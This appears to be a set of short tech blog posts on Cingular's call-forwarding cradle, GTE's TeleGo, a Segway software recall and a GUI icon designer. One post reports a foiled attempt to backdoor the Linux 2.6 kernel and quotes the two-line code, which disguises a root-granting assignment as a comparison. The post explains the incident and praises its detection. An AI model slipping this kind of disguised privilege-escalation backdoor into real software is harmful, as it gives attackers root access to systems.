Cingular, a wireless phone company well known for its “Rollover” minutes plan and other innovations, has recently started advertising FastForward. The device is a charging cradle for wireless phones. It lets customers seamlessly forward calls to their home phone – just drop the phone into the cradle. Neat innovation – or is it?

Before it merged to become a part of Verizon, GTE marketed its wireless service under the name TeleGo. Pricing for the service was simple: $25 per month plus 25 cents a minute. People today might have griped about the lack of included minutes and calling services, but back in 1996, it was celebrated for its easy-to-understand, fair pricing model.

However, the service’s best feature was its slick simplicity. When a customer was within range of their phone’s base station, the phone acted just like a cordless phone. Calls to either the cell phone or home phone number rang everywhere – and there were no airtime charges for calls made or received within range of the base station. When the customer left home, the phone automatically changed itself back into a cell phone.

Cingular is usually praised for its customer friendliness, but in this case, a clever idea by GTE beat them to it. (Luckily for them, GTE isn’t around to press the issue.)

A very sophisticated cracking attempt against the Linux 2.6 kernel was attempted yesterday. The attacker added two lines of code to a developer’s CVS code base:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

This little snippet of code would allow any program to become the root user, bypassing all security in the system.

If the cracked file made it back into the primary Linux tree, the backdoor might have gone unnoticed for months – maybe even long enough to make it into the release. If that happened, a sizable chunk of the servers on the Internet would be compromised – exposed and vulnerable to the world.

I’m really glad they caught this. It’s a testament to the open source model that this minuscule addition to the source was spotted so quickly. Rock on, Linus ‘n friends.

(Original link via Slashdot.)

Recalling, actually…

Segway, in cooperation with the U.S. Consumer Product Safety Commission, is voluntarily recalling 6,000 of its human transporters. According to the Segway site, the devices, famous for their ability to balance on two wheels, could tip under low-battery conditions, injuring riders.

I’ve only had quick glimpses of one of these. They haven’t been too popular in Hawai’i, likely due to both the high cost and the fact that they were illegal until recently.

To be honest, I don’t understand the appeal of these gizmos. Sure, they go faster than pedestrians, but if you live in a commuter city – New York, for example – aren’t the sidewalks too crowded to maneuver reliably?

An interesting angle for me, however, is how they’re implementing the recall – all they have to do is patch the Segway’s software. I guess that says something about the hardware, after all.

Here’s the /. discussion, in case you’re interested.

A name that wasn’t familiar to me, but an important one nonetheless. If you’ve used a GUI at any point in your life, you’re likely intimately familiar with her work. In addition to many other things, she drew the mouse cursor used in a brand-new computer called the Macintosh. (The same icon, pixel for pixel, somehow magically found its way into Windows with its colors reversed.)

Check out her portfolio here.